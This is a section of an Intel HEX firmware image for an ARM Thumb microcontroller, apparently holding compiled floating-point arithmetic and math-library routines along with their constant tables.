:10CAE0000029E3D00B00D8E7C445D0D80023C445C3 :10CAF000D3D2F5E7FF070000F0B557464E4645464E :10CB0000DE46E0B50C030600480087B09246984622 :10CB1000240B400DCF0F002800D178E07B4B9842CA :10CB200000D190E0730FE4001C438023784A1B047B :10CB30001C439446030063440093002399469B469C :10CB4000F500434642461E03D20F5B005046360BAB :10CB50005B0D904600D180E06C4A93421DD06C4939 :10CB6000420F8C4600996344F6008C46164380229F :10CB70009C44120463461643C200002000930099AF :10CB8000434601318C4649467B4001930F2900D929 :10CB9000C6E0604B890059588F465C4952468C4626 :10CBA000009B324363440093002A00D08DE0494645 :10CBB00002231943894600260220E0E743460193F9 :10CBC0003400150083465B46022B64D0032B00D152 :10CBD000F1E1012B00D05EE10022002600250021BA :10CBE0003603340B0E0D360526434B4C12053440EC :10CBF0001443019B6400DB0764081C4328002100E8 :10CC000007B03CBC90469946A246AB46F0BD250015 :10CC1000354352D0002C00D176E1200000F0C6FE52 :10CC200002000B3A1D2301009B1A3200350008391F :10CC30008C40DA408D401443384B1B1A009300237C :10CC400099469B467DE7350025432FD10823994619 :10CC5000063B002400909B4673E7524632431ED0A9 :10CC6000002E00D142E1300000F0A0FE02000B3A9D :10CC70001D2301009B1A52460839DA408E401643A4 :10CC800052468A40009B2549181A03008C4663448B :10CC90000093002073E71D4A002600259FE74946C0 :10CCA0000123194389460026012068E70C23994691 :10CCB000093B350000909B4643E704239946002337 :10CCC0000093013300249B463BE74A4603231A4363 :10CCD00091460320524652E7019774E700238026CD :10CCE000019336030025094A79E780231B031C4280 :10CCF00000D1F3E01E4200D0F0E01E43434636036D :10CD00001500360B0193014A69E7C046FF07000092 :10CD100001FCFFFF50FA0200FFFF0F800DFCFFFF38 :10CD20002F0C2D042D0C2B00110C1204120C53434C :10CD30009846130028007B4399464843484483465D :10CD400040460B00000C824658467B4350440293F9 :10CD5000814506D99A4680235B029946CA445346C8 :10CD60000293030C9B4643461B0400041B0C98468D :10CD7000030043440493330C99462B003604360CCD :10CD80007343984633007B439A464B465D435F436B :10CD900043465544180C4019824503D980235B0251 :10CDA0009A465744050CEB19059343461D042D0C78 :10CDB00000044019250C2404240C270057436A431F :10CDC00090462A003B0C9A464A43614341445144F1 :10CDD0008344884503D980235B02984642443F043C :10CDE0000B0C3F0C0904C919270098464B467743A2 :10CDF0005C436E435D433B0C9946A4194C4442444A :10CE00000395A64204D980235B02984645440395C6 :10CE1000029B3F045B441E008342804123049846EA :10CE2000059B3F0C4744984676188E4289414744FB :10CE300040423D18A846494293468A46C344DA44D4 :10CE40009F42BF4180458041039B934592418A4563 :10CE500089419846534640427F420743240C524240 :10CE600049420A433C19A418DA0D049B75021D437C :10CE7000681E8541534644446402F60D144335430D :10CE80005A021543E30173D501216A080D40154389 :10CE9000E207154364084B4A6244002A43DD6B07EE :10CEA00009D00F212940042905D0291DA942AD41EF :10CEB0006D4264190D00E30104D5434A14408022F9 :10CEC000D200624441498A4200DDE4E66107ED0890 :10CED000640252050D43260B520D80E68026360370 :10CEE00026433603360B0197394A78E600F05EFD9B :10CEF00003001A00153220301C2A00DCB8E6564622 :10CF0000083B00229E40BDE6300000F04FFD0300CC :10CF10001A00153220301C2A00DC83E63400083B5E :10CF200000259C4088E60121891A382900DD53E656 :10CF30001F2920DC2748220060442E0085408240C3 :10CF4000CE40681E854132432A43CC40530709D066 :10CF50000F211140042905D0111D914292415242E6 :10CF6000A4180A0023021FD501220026002536E658 :10CF7000009B9C468FE71F204042821A2000D04031 :10CF8000202903D0144A6244944025436A1E9541E7 :10CF90002A000725024315400026002D07D00F2147 :10CFA000002411400429D7D165076402260BD2085A :10CFB0001543002213E68026360326433603360B3C :10CFC000034A0CE6FF030000FFFFFFFEFE07000020 :10CFD000FF0700001E0400003E040000F0B55746A5 :10CFE00045464E46DE46E0B50F037F0A450F3D43FA :10CFF000AC465D004E00CC0F690D8A461F03CE493A :10D00000550F83B0C0007F0AD200760D8046DB0F3B :10D010002F4301928A4500D1C0E05546751BA946B1 :10D020000125AB465D466B409B469C4200D190E09B :10D030004D46002D00DCBBE05346002B00D1D4E070 :10D040008E4200D19BE280231B041F434B46382BAA :10D0500000DD8CE11F2B00DD34E2494620233D003A :10D060005B1A11009A409D40531E9A414B46A846B8 :10D070004D46DF406346E9404546DB1B9C460D4379 :10D080001543451BA842804163464142591A0B0291 :10D0900000D40DE149024B0A98464346002B00D1CB :10D0A00058E1404600F082FC0300083B20222900A2 :10D0B0004746D21A9F40D1409D400F439E4200DD1B :10D0C00044E19E1B731C1F2B00DDD0E120222800B1 :10D0D000D21A390095409140D8406A1E95410143CB :10D0E0000D4339000026D9406B0709D00F232B4090 :10D0F000042B05D02B1DAB42AD416D4249191D00DB :10D100000B0200D4D7E0721C8B4B5605760D9A4269 :10D1100000D1DFE0894FED080F40780728438246B1 :10D120007A02120B00211203130B0A0D12051A4387 :10D13000834B3605134033435B00E4075B0823430E :10D140005046190003B03CBC90469946A246AB46F7 :10D15000F0BD4D46002D5BDD5346002B00D18AE02B :10D160008E4200D127E180231B041F434B46382BFE :10D1700000DD8CE11F2B00DCC3E13900203BD940EE :10D180004B46202B05D040234D465B1B9F403A4326 :10D190000192019D6F1EBD410D437CE169493D0037 :10D1A00089461543B144002D2DD09B469C422FD07B :10D1B0004946002949D1644D711C294200D0DBE069 :10D1C0003D00614615430143AA46002E00D0EAE126 :10D1D000002900D1BAE1002D00D0FAE16346C00871 :10D1E0005A0702439246D9086EE03B00134300D130 :10D1F000D9E04B46013B002B00D1B7E1894500D176 :10D20000D9E0994622E701256B409B469C42CFD14D :10D210004946002900D0D6E0711C8A4655464A4945 :10D220000D4236D161460143002E58D1002900D16C :10D2300011E23B00134300D013E26346C0085B07D2 :10D24000184363468246D9083EE05146891B894609 :10D250005C46002E00D0E3E06346034300D16FE15B :10D260000B00013B002B00D1ECE1334DA94200D172 :10D27000E2E19946DDE03B00134300D186E14B46F5 :10D28000013B002B00D14FE1894500D193E0994645 :10D290006CE7294B9A4500D1F0E18218824289411E :10D2A0005646674449427918CD0752081543490844 :10D2B0006B0700D01AE74B07ED081D43AA46B1469D :10D2C000C9081D4B99452CD04B460A035E05120B2D :10D2D000760D27E71600002300229A4622E7002950 :10D2E00000D13DE163463E005D07C008D908164302 :10D2F0002843002E00D19DE180252D03294207D02F :10D30000FE082E4204D15C463100D2087807104353 :10D31000CA00410F1143C0004A07C00810438246AB :10D32000C90853460B4300D1EDE1802212030A43A2 :10D330001203120B004EF5E6FF070000FFFF7FFF10 :10D34000FFFF0F8001F8FFFFFE070000D149F61A2A :10D350003940C9E6280000F029FB030018331F2BD1 :10D3600000DCA3E6083885402F000025A6E63A43F6 :10D3700015006A1E954184E66146851ACB1BA842BA :10D3800089414942884619004346C91A0B0088461C :10D390001B0200D513E10B002B439A4600D07CE61C :10D3A0000021002490E76346C0085B0718436346EA :10D3B0008246D90885E76346C0085B071843634681 :10D3C0008246D908ADE753469B1B9946002E00D1F3 :10D3D00089E0B14B9A4500D1C2E0802361461B042D :10D3E00019438C464B46382B00DD04E11F2B00DD32 :10D3F00054E1494620234E465B1A65460100984099 :10D400009D40F140431E98410D4305436046F04066 :10D410003F18AD18954289414942C91956463FE027 :10D420009D4B9A4500D19BE0802361461B04194324 :10D430008C464B46382B00DDAFE01F2B00DDE0E0D3 :10D44000494620234E465B1A6546010098409D40A0 :10D45000F140431E98410D4305436046F0403F1A9A :10D46000551BAA4289414942791A56460FE63A00AD :10D470001F3EF2401600202B03D04022D31A9F40BB :10D480003D436B1E9D4100213543002610E73A4382 :10D4900015006A1E95412D18854280414142614424 :10D4A0000B0200D404E77C4B01369E4200D112E708 :10D4B0000122784F6B08394015401D43CB071D43AF :10D4C000490811E63900203BD9404B46202B05D0B6 :10D4D00040234D465B1B9F403A430192019D6F1EC6 :10D4E000BD410D43CDE56346034329D04B46013B87 :10D4F000002B00D100E1684DA94500D19CE0994680 :10D5000070E7494620233D005B1A9D4011009A4078 :10D51000A8464D46531E9A414B46E9404546DF40DA :10D520000D431543BC44B6E78518854289416744DD :10D530004942791801260B0200D4B9E60226B7E762 :10D54000D2087B071A439246F908BAE6002D00D1AB :10D5500026E77807D20810438246F9085C46B3E60E :10D560007807D20810438246F908DAE6851A63463E :10D57000A8428041DF1B4042391A012687E56346F5 :10D58000C0085A0702439246D908CAE66346C00853 :10D590005A0702439246D90893E6634603431D00A7 :10D5A000681E85415CE700293DD1002D00D19FE038 :10D5B0007907D2080A439246F9085C46B1E6151A83 :10D5C0006346AA429241FF1A5242BB1A98465C46F1 :10D5D00063E56346851AD91BA8429B415B42C91A81 :10D5E0000B0250D5151A6346AA429241FF1A5242C5 :10D5F000B91A5C4678E5634603431D00681E854101 :10D6000007E76646203BDE404B46202B06D04946C6 :10D6100040235B1A61469940084380464546691E8F :10D620008D4135431CE76346C0085E07D908002DCD :10D6300046D13043824674E6D2087B071A439246AD :10D64000F9086EE6151A6346AA429241FF1A524241 :10D65000B91A01261BE5D2087B071A439246F9083E :10D6600032E68518854289416744494279180B02A0 :10D6700000D41DE6074B0126194019E60023564643 :10D6800000229A464EE52B000B439A4600D187E6CE :10D690000EE6C046FFFF7FFFFF0700006646203B07 :10D6A000DE404B46202B06D0494640235B1A61469C :10D6B0009940084380464546691E8D413543A8E69A :10D6C000064380200003014208D0FD08054205D131 :10D6D000D2087F073A4316005C462900CA00710F42 :10D6E0001143F6004A07F60832439246C90818E685 :10D6F00080210024090318E6851895429241674469 :10D700005142791816E70023014E9A461A0009E59E :10D71000FF07000030B5144D0A034B00120B5B0DE0 :10D72000C90F0024AB4204DD104CA34203DD104BB3 :10D73000CC18200030BD8024640322430D4CE41A31 :10D740001F2C08DD0C48C31ADA4013005C42002984 :10D75000EFD11C00EDE7094DE040AC4663449A4030 :10D7600013000343F2E7C046FE0300001D0400005F :10D77000FFFFFF7F3304000013040000EDFBFFFFF9 :10D7800070B5002818D0C317C5185D40C40F280015 :10D7900000F00CF9164B1B1A5B055E0D0A2820DC05 :10D7A00003002A0015339A4013000B22101A2A0096 :10D7B000C2401203120B03E00024002600220023C3 :10D7C000002112031800130B0A0D0A4D12051A430B :10D7D0002A40330513435B00E4075B082343190029 :10D7E00070BD2A000B3882401203120B0023E7E7BA :10D7F0001E040000FFFF0F8070B541004602C40FF9 :10D80000FE20090E4B1C750A184214D0E0239B0021 :10D810006D07360BCB1800210A0D280012051C4D90 :10D8200032435B052A405B0813435B00E4075B0857 :10D830002343190070BD002914D1002D1ED02800EB :10D8400000F0B4F80A281CDC0B232A001B1ADA406B :10D85000030015339D400F4B12031B1A5B05160B7B :10D860005B0DD8E7002D06D0320B802636036D07FE :10D870001643094BCFE7084B0026CCE700230026D0 :10D88000C9E703002A000B3B9A400025E3E7C046A6 :10D89000FFFF0F8089030000FF0700004A00F0B57A :10D8A0000B03520D3D4D5B0A470F561CC90F1F431A :10D8B000C4002E4228D03A4BD518FE2D08DDFF2299 :10D8C00000204002D205400AC90710430843F0BDBA :10D8D000002D2DDD80010200501E8241FB00640FEF :10D8E000134323435A0757D00F221A40042A00D06B :10D8F00004338022D2041A404ED00135EAB2FF2D03 :10D90000DDD09B01580ADCE73C43002A06D1002CFD :10D910000BD005239B01580AD2B2D2E7002CCED0FF :10D920008020C0033843FF22CBE700220020C8E755 :10D930002B00173322DB80231E261B043B43761B60 :10D940001F2E1DDD02204042451B1800E840050047 :10D95000202E04D013488446624493401C43230085 :10D960005C1EA3412B4300255A07BDD18020C00473 :10D9700018400122A842C4D10200CBE70022C8E728 :10D980000948101822008440250083406C1EA541E0 :10D99000F2402B431343E6E72A00BBE7FE070000F3 :10D9A00080FCFFFFA2FCFFFF82FCFFFF1C21012384 :10D9B0001B04984201D3000C10391B0A984201D372 :10D9C000000A08391B09984201D30009043902A250 :10D9D000105C40187047C0460403020201010101B7 :10D9E000000000000000000010B5002903D1FFF77F :10D9F000DDFF203002E0081CFFF7D8FF10BDC04655 :10DA0000F0B5C646714B450000B5041C07006D0813 :10DA10009D420BDDFF23DB059D4200DD72E0002807 :10DA200000DC7FE06A4804BC9046F0BD694B9D4233 :10DA30007FDC694B9D4269DD01267642211C201C5A :10DA4000FDF770FD011C8046FDF76CFD6349051C68 :10DA5000FDF768FD6249FDF717FA291CFDF762FD25 :10DA60006049FDF711FA291CFDF75CFD5E49FDF7E1 :10DA70000BFA291CFDF756FD5C49FDF705FA291C38 :10DA8000FDF750FD5A49FDF7FFF94146FDF74AFD04 :10DA900058498046281CFDF745FD5749FDF758FEBB :10DAA000291CFDF73FFD5549FDF752FE291CFDF7E6 :10DAB00039FD5349FDF74CFE291CFDF733FD514953 :10DAC000FDF746FE291CFDF72DFD011C4046FDF724 :10DAD000DBF9211CFDF726FD731C25D04A4BB6004F :10DAE000F158FDF735FE211CFDF732FE474B011CB6 :10DAF000F058FDF72DFE002F95DA80231B069C467B :10DB0000604490E7011CFDF7BFF98CE74049FDF741 :10DB1000BBF9FE218905FDF799F80300201C002BB5 :10DB20008AD080E73B487EE7011C201CFDF710FEF1 :10DB300079E700F0FBF8384B041C9D4216DC374BAC :10DB40009D4232DC011CFDF79FF9FE218905FDF79E :10DB5000FFFD8021051CC905201CFDF795F9011C5E :10DB6000281CFDF709FB0026041C67E72C4B9D428F :10DB700014DCFF218905FDF7EBFDFF21051C89055C :10DB8000201CFDF7CFFCFE218905FDF77DF9011C66 :10DB9000281CFDF7F1FA0226041C4FE7011C21485E :10DBA000FDF7EAFA0326041C48E7FE218905FDF784 :10DBB000CFFDFE21051C8905201CFDF765F9011C20 :10DBC000281CFDF7D9FA0126041C37E7FFFF7F5018 :10DBD000DB0FC93FFFFFDF3EFFFFFF30D769853C0A :10DBE00059DA4B3D356B883D6E2EBA3D2549123EC4 :10DBF000ABAAAA3E21A215BD6BF16E3D95879D3D56 :10DC0000388EE33DCDCC4C3EA0FA020090FA0200E3 :10DC1000CAF24971DB0FC9BFFFFF973FFFFF2F3FDC :10DC2000FFFF1B40000080BFF8B543005F081B0EDC :10DC30007F3B051C06001C00162B28DC002B14DB88 :10DC4000184F1F41074220D01749FDF71DF9002149 :10DC5000FCF7FCFF002818D0002D03DD8020000415 :10DC600020414619BE43300010E00F49FDF70CF982 :10DC70000021FCF7EBFF002807D0002D0EDB281C4D :10DC8000002F03D0FE20800500E0281CF8BD074BC4 :10DC90009F42FBD9011CFDF7F7F8F7E7802000064B :10DCA000F4E7C046FFFF7F00CAF24971FFFF7F7FA4 :10DCB00000B51C4A430083B05B08934218DD1A4A42 :10DCC000934204DD011CFDF743FD03B000BD69462E :10DCD00001F03EFF03230199184001280CD00228CF :10DCE00017D0002811D00098012202F08FFDECE738 :10DCF000002102F009F9E8E70122009802F086FD10 :10DD000080231B069C466044DFE7009802F0FCF885 :10DD1000DBE7009802F0F8F880231B069C4660447D :10DD2000D3E7C046D80F493FFFFF7F7F4000400840 :10DD30007047C046F8B543005F081B0E7F3B051CCB :10DD400006001C00162B28DC002B14DB164F1F418D :10DD5000074220D01549FDF797F80021FCF776FF20 :10DD6000002818D0002D03DA802000042041461935 :10DD7000BE43300010E00D49FDF786F80021FCF7A6 :10DD800065FF002807D00020002D05DA281C002F91 :10DD900002D0074800E0281CF8BD064B9F42FBD983 :10DDA000011CFDF771F8F7E7FFFF7F00CAF2497128 :10DDB000000080BFFFFF7F7F70B50C000021216055 :10DDC0000F49430002005B088B4218DC002B16D081 :10DDD000FF25ED050021284208D19821C905FDF74E :10DDE000A1FB1921020043005B0849420548DB15ED :10DDF0000240FC207E3B5B1880052360104370BD11 :10DE0000FFFF7F7FFFFF7F8070B5041C0D0003F0D4 :10DE10004DF8002805D00021201CFCF7FDFE00284D :10DE200001D0201C70BD201C290000F083F8041CC8 :10DE300003F03CF8002805D00021201CFCF7ECFE84 :10DE40000028EED003F04EF822230360E9E7C04635 :10DE500043001B0E7F3B10B5162B0CDC002B0EDB9A :10DE6000094A1A41024206D0030093430B60191C71 :10DE7000FDF76EFC02E00860C00FC00710BDC30FC5 :10DE8000DB070B60FAE7C046FFFF7F0010B500F02C :10DE900001F810BD30B5430059081B0E7F3B83B01D :10DEA0000200162B1EDC00291AD0C40F002B20DB29 :10DEB0001D491941014213D04908014204D0802074 :10DEC000800318418A431043184BA400E458011CF6 :10DED000201CFCF7D9FF01900198211CFDF738FCAC :10DEE00003B030BD124B9942FAD9011CFCF7CCFFAC :10DEF000F6E743020D495B0AA00045585942194311 :10DF00008023490ADB03120D194012051143281C16 :10DF1000FCF7BAFF01900198291CFDF719FC40009D :10DF20004008E4072043DBE7FFFF7F00B0FA020070 :10DF3000FFFF7F7F430070B55A080C000100002AE4 :10DF40001CD0244DAA421AD8FF22D205104219D162 :10DF50009821C905FDF7E6FA1F4B9C422CDB4300D4 :10DF60001B0E193B1B190100FE2B0FDD1B4B00285C :10DF700000DA1B4B1949181CFDF7D4FA70BDFCF7E9 :10DF800083FFFBE71B0E1B19FE2BEFDC002B0EDCC7 :10DF90001A00163214DA134B9C42E7DC124B0028AD :10DFA00000DA124B1049181CFDF7BCFAE6E71048DE :10DFB0000140D8050843E1E70B49FDF7B3FADDE777 :10DFC0000B4819330840CC21DB0518438905FDF7C0 :10DFD000A9FAD3E7FFFF7F7FB03CFFFFCAF2497188 :10DFE000CAF249F150C300006042A20D6042A28D06 :10DFF000FFFF7F8000B51C4A430083B05B0893425B :10E000001BDD1A4A934204DD011CFDF7A1FB03B09E :10E0100000BD694601F09CFD0323019918400128C9 :10E0200010D0022817D0002810D0009801F06CFF03 :10E0300080231B069C466044E9E70022002102F091 :10E04000E5FBE4E7009801F05FFFE0E700980122BC :10E0500002F0DCFBDBE70098012202F0D7FB802313 :10E060001B069C466044D2E7D80F493FFFFF7F7FE5 :10E0700000B5104A430083B05B08934214DD0E4A9A :10E08000934204DD011CFDF763FB03B000BD69464C :10E0900001F05EFD022240001040013A121A01997F :10E0A000009802F02DFCF0E70122002102F028FC8C :10E0B000EBE7C046DA0F493FFFFF7F7F43001B0EAF :10E0C0007F3B0200162B05DC002B04DB03491941C2 :10E0D0008A4310007047C00FC007FBE7FFFF7F00B7 :10E0E00010B500F0C3F910BDF8B504000D0000F044 :10E0F0007BFA134B06001B780F005BB201330FD085 :10E1000022002B002000290003F0A4FD002807D1E5 :10E110000022002320002900FCF74AFD002802D13C :10E1200030003900F8BD02F0DDFE2123002203603B :10E13000002310001900FEF7E5F806000F00EFE7D6 :10E14000F000002070B5041C00F028FB0F4B051CEC :10E150001B785BB201330ED0211C201CFDF79CFC08 :10E16000002808D1201CFFF7E1FDFE218905FCF7FE :10E170006DFD002801D1281C70BD02F0B3FE2123E3 :10E180000360034802F09CFE051CF4E7F000002049 :10E19000B8FA020070B5041C00F062FC0F4B051CBD :10E1A0001B785BB201330ED0211C201CFDF774FCE0 :10E1B000002808D1201CFFF7B9FDFE218905FCF7D6 :10E1C00045FD002801D1281C70BD02F08BFE2123E3 :10E1D0000360034802F074FE051CF4E7F000002021 :10E1E000B8FA020010B500F08FFD10BD70B5041C28 :10E1F00000F01AFE124B051C1B785BB2013310D0E5 :10E20000201C02F053FE00280BD00E49201CFCF706 :10E210001DFD00280DD10C49201CFCF703FD002832 :10E2200001D1281C70BD02F05DFE22230025036091 :10E23000F7E702F057FEFF252223ED050360F0E724 :10E24000F00000208071B142B5F1CFC270B5051C5D :10E250000C1C00F00DFF124B061C1B785BB2013347 :10E2600011D0211C201CFDF717FC00280BD1291C04 :10E27000281CFDF711FC002805D10021201CFCF70B :10E28000CBFC002801D1301C70BD02F02BFE2123F5 :10E2900000210360081CFCF76FFF061CF3E7C04673 :10E2A000F000002070B5041C00F06AFF134B051C41 :10E2B0001B785BB2013316D0211C201CFDF7ECFB50 :10E2C000002810D10021201CFCF7C0FC00280AD136 :10E2D0000021201CFCF7A0FC002806D002F002FE62 :10E2E0002223074D0360281C70BD02F0FBFD212393 :10E2F0000360044802F0E4FD051CF4E7F000002090 :10E30000000080FFB8FA020070B5051C0C1C01F07B :10E310007FF8424B061C1B785BB2013322D0211CD4 :10E32000201CFDF7B9FB00281CD1291C281CFDF777 :10E33000B3FB0021002832D1281CFCF76DFC00281B :10E3400012D00021201CFCF767FC00282CD1201CD7 :10E3500002F0ACFD002805D00021201CFCF762FC77 :10E36000002841D1301C70BD301C02F09FFD0028F8 :10E370001DD00021301CFCF74FFC0028F2D0281CD7 :10E3800002F094FD0028EDD0201C02F08FFD002843 :10E39000E8D002F0A7FD222300260360E2E7201C5C :10E3A000FCF73AFC0028DDD0FE26B605DAE7281C8B :10E3B00002F07CFD0028DCD0201C02F077FD002854 :10E3C000D7D0311C301CFDF767FB00281CD102F0B0 :10E3D00089FD222300210360281CFCF723FC002870 :10E3E00008D1FF26F605BDE702F07CFD21230C4E87 :10E3F0000360B7E7201CFFF74DFD211CFCF70CFC68 :10E400000028EED1064EADE702F06CFD212300217D :10E410000360081CFCF7B0FE061CA3E7F000002018 :10E42000000080FF70B5041C01F014FD0E4B051CAC :10E430001B785BB201330BD0211C201CFDF72CFB99 :10E44000002805D10021201CFCF7ECFB002801D19D :10E45000281C70BD02F046FD212300210360081C2A :10E46000FCF78AFE051CF3E7F0000020F8B5150064 :10E470004746CE465A001C006B4280B52B434C4F9A :10E480005208DB0F1343BB421DD84B005B089C4670 :10E49000664643420343DB0F89463343BB4212D8EF :10E4A000444BE3182B433FD00226A3171E40CB0F4B :10E4B0001E436346034310D1022E38D0032E08D1E9 :10E4C0003D483E4905E002000B0028002100FDF711 :10E4D000A3FB0CBC90469946F8BD13002B431DD0FE :10E4E000BA422AD0BC4519D063469A1A12153C2A62 :10E4F00020DC002C2EDA3C322CDA00200021012E08 :10E500003CD0022E2FD0002EE3D02D4A2D4BFEF70B :10E5100065FD294A2C4BFEF761FDDAE74B4626489C :10E52000002B15DB2949D4E702F02AFBD1E722486A :10E530002549CEE720482549E1E7944523D0022E1E :10E54000F5D0032EBCD00020012E25D00021C0E73D :10E550001F49BEE72A002300FDF7D4FE02F0A2FC0B :10E5600002F00EFBCBE7164A164BFEF737FD020012 :10E570000B0011481449FEF731FDAAE78024240658 :10E580000B191900A5E7022E0ED0032E09D00A4858 :10E59000012E04D00F499CE78021090699E70E4916 :10E5A00097E70E480E4994E70C480E4991E7C0469C :10E5B0000000F07F000010C0182D4454FB2109C05A :10E5C000075C143326A6A13CFB210940FB21F93F3F :10E5D000FB21F9BFFB21E93FFB21E9BFD221337FBA :10E5E0007CD902C07CD90240694AF8B50C00CE46FD :10E5F00047460B00110080B50600050021409142FE :10E6000000D1A0E0002C68DD211500D1B1E0614A05 :10E610001B03944680221B0B520313435B00EA0F3B :10E6200061449B186A00C80703D5D20F5B009B1892 :10E63000AA0049108C4600218020162488468003B9 :10E640000D189D4202DC29185B1B8044D50F5B002E :10E65000013CEB1852004008002CF1D1002081460B :10E6600080202026000609E08B425DD0D50F5B009C :10E67000013E5B1952004008002E16D005198B424E :10E68000F2DD2C180F00002D4ADB5B1AAA428941EB :10E6900049425B1A521BD50F5B00013E8144390091 :10E6A0005B1952004008002EE8D1134344D14B4679 :10E6B0005E0843465910384B994643464944DB07A8 :10E6C00002D580231B061E43634618054318190014 :10E6D00030000CBC90469946F8BD620052080243D7 :10E6E0004AD0002C3AD1E80A153B02006D050028FB :10E6F000F9D080214903084244D180200021400301 :10E7000000E0210052004C1C0242FAD020261000EA :10E710002A00A540361B591A1300F340034376E73D :10E72000E743FF0FCF19B0E795429FD82C18002D73 :10E73000F6DB1F000023ADE74B4601331ED04E46EB :10E7400001367608B5E70200230030002100FEF70D :10E75000D3F932002300FDF75FFABAE70200230085 :10E7600030002100FEF73AFC02000B00FDF7CAFD65 :10E77000AFE722000023C0E72100AAE70123994662 :10E78000C84496E701212A0020264942C3E7C04633 :10E790000000F07F01FCFFFF0000E03FFE22F8B523 :10E7A0004300041C01005B089205934210D009DC71 :10E7B0009B4A934211DC8C229205934200DD7EE05D :10E7C000984804E0FCF7C4FF011CFCF7D5FCF8BD39 :10E7D0000020002CFBDC9448F9E7002800DAC1E0B7 :10E7E000FE208005FCF7B4FFFC218905FCF79AFEAA :10E7F000041C01F02FFB8D49061C050B201CFCF7A7 :10E8000091FE8B49FCF740FB211CFCF78BFE8949EC :10E81000FCF79EFF211CFCF785FE8749FCF734FBC3 :10E82000211CFCF77FFE8549FCF792FF211CFCF7B9 :10E8300079FE8349FCF728FB211CFCF773FE814914 :10E84000071C201CFCF76EFE7F49FCF781FF211C92 :10E85000FCF768FE7D49FCF717FB211CFCF762FE04 :10E860007B49FCF775FF211CFCF75CFEFE21890546 :10E87000FCF70AFB011C381CFCF77EFC311CFCF782 :10E8800051FE2D03071C291C281CFCF74BFE011C04 :10E89000201CFCF75DFF291C041C301CFCF7F4FA5B :10E8A000011C201CFCF768FC011C381CFCF7ECFA6E :10E8B000291CFCF7E9FA011CFCF7E6FA87E7FCF7EC :10E8C00031FE5A49051CFCF72DFE5949FCF7DCFACC :10E8D000291CFCF727FE5749FCF73AFF291CFCF7D7 :10E8E00021FE5549FCF7D0FA291CFCF71BFE5349C1 :10E8F000FCF72EFF291CFCF715FE5149FCF7C4FA62 :10E90000291CFCF70FFE4F49061C281CFCF70AFEC9 :10E910004D49FCF71DFF291CFCF704FE4B49FCF791 :10E92000B3FA291CFCF7FEFD4949FCF711FF291C2D :10E93000FCF7F8FDFE218905FCF7A6FA011C301C46 :10E94000FCF71AFC211CFCF7EDFD011C4148FCF70B :10E95000FFFE011C201CFCF7FBFE011C3E48FCF7DF :10E96000F7FE34E7FE218905FCF78EFAFC218905C4 :10E97000FCF7D8FD2D49041CFCF7D4FD2C49FCF70D :10E9800083FA211CFCF7CEFD2A49FCF7E1FE211C8D :10E99000FCF7C8FD2849FCF777FA211CFCF7C2FDFB :10E9A0002649FCF7D5FE211CFCF7BCFD2449FCF7E9 :10E9B0006BFA211CFCF7B6FD061C201C01F04AFA7C :10E9C0002049051C201CFCF7ADFD1F49FCF7C0FECB :10E9D000211CFCF7A7FD1D49FCF756FA211CFCF78A :10E9E000A1FD1B49FCF7B4FE211CFCF79BFDFE2199 :10E9F0008905FCF749FA011C301CFCF7BDFB291CFA :10EA0000FCF790FD1349FCF7A3FE291CFCF73CFA28 :10EA1000011CFCF739FA011C1048FCF799FED6E6F8 :10EA2000FFFFFF3EDB0FC93FDB0F494008EF113806 :10EA3000047F4F3A4611243DA80A4E3E90B0A63EB0 :10EA4000ABAA2A3E2EC69D3D6133303F2D57014073 :10EA500039D119406821A233DA0FC93FDA0F494092 :10EA6000F0B5FE234646D6464F464400C0B5051CC9 :10EA7000060064089B059C4200D1B3E000DDAAE0DB :10EA80008F4B9C420FDC8F4B9C4200DDCCE08E49CB :10EA9000FCF7FAF9FE218905FCF7D8F80300281CD9 :10EAA000002B00D092E0281CFFF740F9011CFE204B :10EAB0008005FCF74DFEFC218905FCF733FD8349F9 :10EAC000051CFCF72FFD8249FCF7DEF9291CFCF739 :10EAD00029FD8049FCF73CFE291CFCF723FD7E49FB :10EAE000FCF7D2F9291CFCF71DFD7C49FCF730FE30 :10EAF000291CFCF717FD7A49FCF7C6F9291CFCF71D :10EB000011FD78498046281CFCF70CFD7649FCF77E :10EB10001FFE291CFCF706FD7449FCF7B5F9291CFA :10EB2000FCF700FD7249FCF713FE291CFCF7FAFC08 :10EB3000FE218905FCF7A8F98146281C01F08AF915 :10EB40006C4B071C9C425ADC011C040BFCF79CF923 :10EB5000494682464046FCF70FFB011C5046FCF735 :10EB6000E1FC24038046211C201CFCF7DBFC011C7B :10EB7000281CFCF7EDFD211C051C381CFCF784F952 :10EB8000011C281CFCF7F8FA011CFCF77DF9011C9C :10EB90005948FCF7DDFD011C4046FCF7D9FD211C5E :10EBA000051C201CFCF770F9011C5448FCF7D0FD33 :10EBB000011C281CFCF7CCFD011C5048FCF7C8FDCB :10EBC000002E03DC80231B069C4660441CBC904640 :10EBD0009946A246F0BD011CFCF7BAFD011CFCF7EA :10EBE000CBFAF3E74649FCF79DFC4349041C281C7B :10EBF000FCF798FC011C201CFCF746F9E6E74946A7 :10EC00004046FCF7B9FA391CFCF78CFC391CFCF7C0 :10EC10003BF9011CFCF738F93A49FCF735F9011CBE :10EC20003748FCF795FDCBE7011CFCF77BFC274937 :10EC3000041CFCF777FC2649FCF726F9211CFCF79D :10EC400071FC2449FCF784FD211CFCF76BFC224974 :10EC5000FCF71AF9211CFCF765FC2049FCF778FD4C :10EC6000211CFCF75FFC1E49FCF70EF9211CFCF788 :10EC700059FC1C49061C201CFCF754FC1A49FCF7E3 :10EC800067FD211CFCF74EFC1849FCF7FDF8211C20 :10EC9000FCF748FC1649FCF75BFD211CFCF742FC25 :10ECA000FE218905FCF7F0F8011C301CFCF764FA22 :10ECB000291CFCF737FC291CFCF7E6F886E7C04660 :10ECC000FFFFFF3EFFFFFF31CAF2497108EF113825 :10ECD000047F4F3A4611243DA80A4E3E90B0A63E0E :10ECE000ABAA2A3E2EC69D3D6133303F2D570140D1 :10ECF00039D119409999793F2EBD3BB3DB0F493F7C :10ED0000DB0FC93F2EBD3B33F8B54B000C1CFF2178 :10ED10005B08C9058B4215DC4200844652088A42D2 :10ED200010DCFE25AD05AC423ED00225A7173D40C4 :10ED3000C70F3D43002A0AD1022D29D0032D05D14A :10ED4000304803E0011C201CFCF79EF8F8BD002BA6 :10ED500019D08B421ED08A4215D0D31ADB153C2B1A :10ED600025DC002C2FDA3C332DDA0020012D3AD09F :10ED7000022D30D0002DE9D02349FCF785F8234936 :10ED8000FCF7E6FCE2E76346002B1ADB2048DDE7F0 :10ED90001E48DBE79A420CD0022DF9D0032DCFD0CC :10EDA000012D25D00020D1E7FEF72AFECEE7184836 